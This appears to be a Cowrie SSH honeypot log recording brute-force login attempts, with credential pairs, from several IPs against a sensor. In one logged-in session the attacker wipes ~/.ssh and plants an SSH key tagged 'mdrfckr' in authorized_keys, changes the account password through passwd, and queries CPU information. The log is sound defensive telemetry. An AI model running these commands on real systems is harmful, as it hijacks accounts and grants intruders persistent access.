{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":48472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a4fc77b0328","protocol":"ssh","message":"New connection: 120.28.109.188:48472 (159.203.135.109:22) [session: 5a4fc77b0328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:08.549737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:08.554891Z","src_ip":"120.28.109.188","session":"5a4fc77b0328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:08.815962Z","src_ip":"120.28.109.188","session":"5a4fc77b0328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123456","message":"login attempt [mysql/mysql123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:09.882437Z","src_ip":"120.28.109.188","session":"5a4fc77b0328","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44576,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b941d0d0d4","protocol":"ssh","message":"New connection: 103.15.226.202:44576 (10.17.0.5:22) [session: 94b941d0d0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:09.901994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:09.907587Z","src_ip":"103.15.226.202","session":"94b941d0d0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:10.171921Z","src_ip":"103.15.226.202","session":"94b941d0d0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aliyun@123","message":"login attempt [root/Aliyun@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:10.936459Z","src_ip":"103.15.226.202","session":"94b941d0d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:11.144821Z","src_ip":"120.28.109.188","session":"5a4fc77b0328","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:34:12.193192Z","src_ip":"103.15.226.202","session":"94b941d0d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":51836,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fbadfe3a28a","protocol":"ssh","message":"New connection: 120.28.109.188:51836 (159.203.135.109:22) [session: 2fbadfe3a28a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:09.140077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:09.144499Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:09.404059Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin001","message":"login attempt [admin/admin001] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:10.482542Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:11.058103Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:11.061663Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:11.065981Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:11.330283Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:11.896780Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:11.900639Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:12.165163Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:12.169570Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":60060,"dst_ip":"159.203.135.109","dst_port":22,"session":"e98a67b06926","protocol":"ssh","message":"New connection: 120.28.109.188:60060 (159.203.135.109:22) [session: e98a67b06926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:12.422410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:12.427154Z","src_ip":"120.28.109.188","session":"e98a67b06926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:12.687142Z","src_ip":"120.28.109.188","session":"e98a67b06926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:13.757236Z","src_ip":"120.28.109.188","session":"e98a67b06926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:15.021131Z","src_ip":"120.28.109.188","session":"e98a67b06926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":60068,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e2bf850de4d","protocol":"ssh","message":"New connection: 120.28.109.188:60068 (159.203.135.109:22) [session: 9e2bf850de4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:15.275306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:15.289152Z","src_ip":"120.28.109.188","session":"9e2bf850de4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:15.549134Z","src_ip":"120.28.109.188","session":"9e2bf850de4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:16.617695Z","src_ip":"120.28.109.188","session":"9e2bf850de4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:17.881091Z","src_ip":"120.28.109.188","session":"9e2bf850de4d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:18.197383Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:18.200956Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:18.464939Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.033923Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin001\\nK7JEygANKoGl\\nK7JEygANKoGl\"|passwd|bash","message":"CMD: echo -e \"admin001\\nK7JEygANKoGl\\nK7JEygANKoGl\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.037471Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.041201Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.044575Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/aed2f5fb2d8830ec37c1e660f35474ad6088abcbbaf891d3c240b8e60f48ca3f","size":32,"shasum":"aed2f5fb2d8830ec37c1e660f35474ad6088abcbbaf891d3c240b8e60f48ca3f","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/aed2f5fb2d8830ec37c1e660f35474ad6088abcbbaf891d3c240b8e60f48ca3f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.307713Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.871553Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin001\\nK7JEygANKoGl\\nK7JEygANKoGl\\n\"|passwd","message":"CMD: echo \"admin001\\nK7JEygANKoGl\\nK7JEygANKoGl\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:19.874958Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4f1292df608d9796a332f6e4a28635cd3753c3c41abe52f9e5f6fc9580a6e19f","size":25,"shasum":"4f1292df608d9796a332f6e4a28635cd3753c3c41abe52f9e5f6fc9580a6e19f","duplicate":false,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/4f1292df608d9796a332f6e4a28635cd3753c3c41abe52f9e5f6fc9580a6e19f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:20.138004Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:20.749626Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:20.753647Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:21.019555Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:35:21.586560Z","src_ip":"120.28.109.188","session":"2fbadfe3a28a","protocol":"ssh"}
